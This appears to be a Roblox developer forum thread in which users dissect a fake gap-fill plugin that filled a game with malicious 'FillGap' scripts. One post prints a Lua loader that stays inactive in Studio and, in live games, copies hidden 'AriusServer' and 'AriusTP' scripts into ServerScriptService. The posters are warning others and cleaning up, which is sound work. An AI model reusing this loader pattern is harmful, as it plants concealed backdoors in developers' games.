So a few weeks ago, I installed a gap-fill plugin which turned out to be a fake from the real one. This plugin inserted a FillGap script into almost all 16,000 parts in my game.
The script contains this almost-forever code that makes my game insanely laggier than before. It takes longer to load the game in-studio as well.
Wow more ugly as hell obfuscation. Just use @sjr04 code and It will delete them, and I advise getting everything in game, because they may be somewhere else
And even more obfuscated code! No prize for guessing what I did next.
This one is a little more special.
local RunServ = game:GetService("RunService")
local mod = {}
function mod.arius()
if RunServ:IsStudio() then
else
if game.ServerScriptService:FindFirstChild("AriusServer") then
else
local SERVER = script.AriusServer:Clone()
SERVER.Parent = game.ServerScriptService
local TP = script.AriusTP:Clone()
TP.Parent = game.ServerScriptService
end
end
end
return mod
Surprise surpise, not obfuscated! Right? No. This module has scripts inside of it. It basically checks that this is in a live game and not studio so you don’t smell anything fishy while play-testing.
The scripts inside this module are indeed obfuscated as well. It contains a tool. I gave up from here.